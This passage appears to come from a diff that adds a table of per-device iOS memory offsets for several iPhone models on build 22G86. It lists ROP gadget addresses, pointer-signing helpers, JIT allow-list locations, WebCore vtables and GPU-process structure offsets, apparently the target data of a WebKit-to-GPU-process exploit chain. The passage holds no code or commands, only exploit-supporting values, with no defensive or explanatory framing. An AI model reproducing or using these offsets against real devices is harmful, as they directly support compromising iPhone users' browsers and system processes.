m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6580n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x25812fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272e34000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed8880f8n, + WebCore__initPKContact_value : 0x1ed400100n, + WebCore__PAL_getPKContactClass : 0x1ed87f5b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8868d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8868c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8868b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed87c500n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone16,2_22G86": { + __pthread_head : 0x26a720020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9878n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99b70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708708n, + free_slabs : 0x1ed7c1e90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f039150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7db0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dad60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dad68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dad70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dacb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dad78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6580n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x25812fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272e34000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed8880f8n, + WebCore__initPKContact_value : 0x1ed400100n, + WebCore__PAL_getPKContactClass : 0x1ed87f5b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8868d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8868c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8868b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed87c500n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone17,1_22G86": { + __pthread_head : 0x269ff8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9878n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99b70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708708n, + free_slabs : 0x1ed7c1e90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f039150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7db0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dad60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dad68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dad70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dacb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dad78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6580n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257a0fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2726f4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed8880f8n, + WebCore__initPKContact_value : 0x1ed400100n, + WebCore__PAL_getPKContactClass : 0x1ed87f5b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8868d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8868c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8868b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed87c500n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone17,2_22G86": { + __pthread_head : 0x269ff8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9878n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99b70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708708n, + free_slabs : 0x1ed7c1e90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f039150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7db0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dad60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dad68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dad70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dacb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dad78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6580n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257a0fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2726f4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed8880f8n, + WebCore__initPKContact_value : 0x1ed400100n, + WebCore__PAL_getPKContactClass : 0x1ed87f5b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8868d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8868c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8868b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed87c500n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone17,3_22G86": { + __pthread_head : 0x2699a0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f68e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f63d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f6330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5778n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704608n, + free_slabs : 0x1ed7bdd90n, + gadget_control_1_ios184 : 0x23ed692ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f031150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6fb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6c60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6c68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6c70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6bb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6c78n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cb0b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc55870n, + libsystem_c__atexit_mutex : 0x1ed6e3218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2480n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a07e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272084000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed877228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883ff8n, + WebCore__initPKContact_value : 0x1ed884000n, + WebCore__PAL_getPKContactClass : 0x1ed87b4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8827d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8827c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8827b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed878400n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone17,4_22G86": { + __pthread_head : 0x2699a0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f68e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f63d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f6330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5778n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704608n, + free_slabs : 0x1ed7bdd90n, + gadget_control_1_ios184 : 0x23ed692ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f031150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6fb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 